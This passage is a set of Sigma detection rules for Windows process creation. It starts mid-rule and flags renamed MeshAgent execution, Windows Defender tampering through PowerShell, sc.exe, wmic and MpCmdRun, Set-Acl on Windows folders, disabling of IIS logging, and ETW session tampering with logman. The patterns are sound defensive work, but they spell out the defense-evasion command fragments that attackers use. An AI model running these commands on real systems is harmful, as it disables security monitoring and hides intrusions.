- '-ControlledFolderAccessProtectedFolders '
- '-AttackSurfaceReductionRules_Ids '
- '-AttackSurfaceReductionRules_Actions '
- '-CheckForSignaturesBeforeRunningScan '
condition: all of selection_*
falsepositives:
- Legitimate PowerShell scripts
level: high
title: Remote Access Tool - Renamed MeshAgent Execution - Windows
id: b471f462-eb0d-4832-be35-28d94bdb4780
related:
- id: bd3b5eaa-439d-4a42-8f35-a49f5c8a2582
type: similar
- id: 2fbbe9ff-0afc-470b-bdc0-592198339968
type: derived
status: experimental
description: |
Detects the execution of a renamed instance of the Remote Monitoring and Management (RMM) tool, MeshAgent.
RMM tools such as MeshAgent are commonly utilized by IT administrators for legitimate remote support and system management.
However, malicious actors may exploit these tools by renaming them to bypass detection mechanisms, enabling unauthorized access and control over compromised systems.
references:
- https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
- https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/
- https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
- https://www.security.com/threat-intelligence/medusa-ransomware-attacks
author: Norbert Jaśniewicz (AlphaSOC)
date: 2025-05-19
tags:
- attack.command-and-control
- attack.stealth
- attack.t1219.002
- attack.t1036.003
logsource:
category: process_creation
product: windows
detection:
selection_meshagent:
- CommandLine|contains: '--meshServiceName'
- OriginalFileName|contains: 'meshagent'
filter_main_legitimate:
Image|endswith: '\meshagent.exe'
condition: selection_meshagent and not 1 of filter_main_*
falsepositives:
- Unknown
level: high
title: Suspicious Windows Update Agent Empty Cmdline
id: 52d097e2-063e-4c9c-8fbb-855c8948d135
status: test
description: |
Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags
references:
- https://redcanary.com/blog/blackbyte-ransomware/
author: Florian Roth (Nextron Systems)
date: 2022-02-26
modified: 2023-11-11
tags:
- attack.stealth
- attack.t1036
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\Wuauclt.exe'
- OriginalFileName: 'Wuauclt.exe'
selection_cli:
CommandLine|endswith:
- 'Wuauclt'
- 'Wuauclt.exe'
condition: all of selection*
falsepositives:
- Unknown
level: high
title: Potential Windows Defender Tampering Via Wmic.EXE
id: 51cbac1e-eee3-4a90-b1b7-358efb81fa0a
status: test
description: Detects potential tampering with Windows Defender settings such as adding exclusion using wmic
references:
- https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md
- https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
- https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/
author: frack113
date: 2022-12-11
modified: 2023-02-14
tags:
- attack.execution
- attack.defense-impairment
- attack.t1047
- attack.t1685
logsource:
product: windows
category: process_creation
detection:
selection_img:
- OriginalFileName: 'wmic.exe'
- Image|endswith: '\WMIC.exe'
selection_cli:
CommandLine|contains: '/Namespace:\\\\root\\Microsoft\\Windows\\Defender'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Windows Defender Definition Files Removed
id: 9719a8aa-401c-41af-8108-ced7ec9cd75c
status: test
description: Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
- https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
author: frack113
date: 2021-07-07
modified: 2023-07-18
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\MpCmdRun.exe'
- OriginalFileName: MpCmdRun.exe
selection_cli:
CommandLine|contains|all:
- ' -RemoveDefinitions'
- ' -All'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Disable Windows Defender AV Security Monitoring
id: a7ee1722-c3c5-aeff-3212-c777e4733217
status: test
description: Detects attackers attempting to disable Windows Defender using Powershell
references:
- https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
- https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
author: 'ok @securonix invrep-de, oscd.community, frack113'
date: 2020-10-12
modified: 2022-11-18
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_pwsh_binary:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_pwsh_cli:
CommandLine|contains:
- '-DisableBehaviorMonitoring $true'
- '-DisableRuntimeMonitoring $true'
selection_sc_binary:
- Image|endswith: '\sc.exe'
- OriginalFileName: 'sc.exe'
selection_sc_tamper_cmd_stop:
CommandLine|contains|all:
- 'stop'
- 'WinDefend'
selection_sc_tamper_cmd_delete:
CommandLine|contains|all:
- 'delete'
- 'WinDefend'
selection_sc_tamper_cmd_disabled:
CommandLine|contains|all:
- 'config'
- 'WinDefend'
- 'start=disabled'
condition: all of selection_pwsh_* or (selection_sc_binary and 1 of selection_sc_tamper_*)
falsepositives:
- 'Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice.'
level: high
title: PowerShell Set-Acl On Windows Folder
id: 0944e002-e3f6-4eb5-bf69-3a3067b53d73 # ProcCreation Susp
related:
- id: cae80281-ef23-44c5-873b-fd48d2666f49 # PsScript Low
type: derived
- id: bdeb2cff-af74-4094-8426-724dc937f20a # ProcCreation Low
type: derived
- id: 3bf1d859-3a7e-44cb-8809-a99e066d3478 # PsScript High
type: derived
status: test
description: Detects PowerShell scripts to set the ACL to a file in the Windows folder
references:
- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1
- https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-18
tags:
- attack.stealth
logsource:
category: process_creation
product: windows
detection:
selection_img:
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_cmdlet:
CommandLine|contains|all:
- 'Set-Acl '
- '-AclObject '
selection_paths:
# Note: Add more suspicious paths
CommandLine|contains:
- '-Path "C:\Windows'
- "-Path 'C:\\Windows"
- '-Path %windir%'
- '-Path $env:windir'
selection_permissions:
# Note: Add more suspicious permissions
CommandLine|contains:
- 'FullControl'
- 'Allow'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Disable Windows IIS HTTP Logging
id: e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e
status: test
description: Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging
author: frack113
date: 2022-01-09
modified: 2023-01-22
tags:
- attack.defense-impairment
- attack.t1685.001
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\appcmd.exe'
- OriginalFileName: 'appcmd.exe'
selection_cli:
CommandLine|contains|all:
- 'set'
- 'config'
- 'section:httplogging'
- 'dontLog:true'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Suspicious Windows Trace ETW Session Tamper Via Logman.EXE
id: cd1f961e-0b96-436b-b7c6-38da4583ec00
status: test
description: Detects the execution of "logman" utility in order to disable or delete Windows trace sessions
references:
- https://twitter.com/0gtweet/status/1359039665232306183?s=21
- https://ss64.com/nt/logman.html
author: Florian Roth (Nextron Systems)
date: 2021-02-11
modified: 2023-02-21
tags:
- attack.defense-impairment
- attack.t1685
- attack.t1685.005
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\logman.exe'
- OriginalFileName: 'Logman.exe'
selection_action:
CommandLine|contains:
- 'stop '
- 'delete '
selection_service:
CommandLine|contains:
- 'Circular Kernel Context Logger'
- 'EventLog-' # Cover multiple traces starting with EventLog-*
- 'SYSMON TRACE'
- 'SysmonDnsEtwSession'
condition: all of selection*
falsepositives:
- Legitimate deactivation by administrative staff
- Installer tools that disable services, e.g. before log collection agent installation
level: high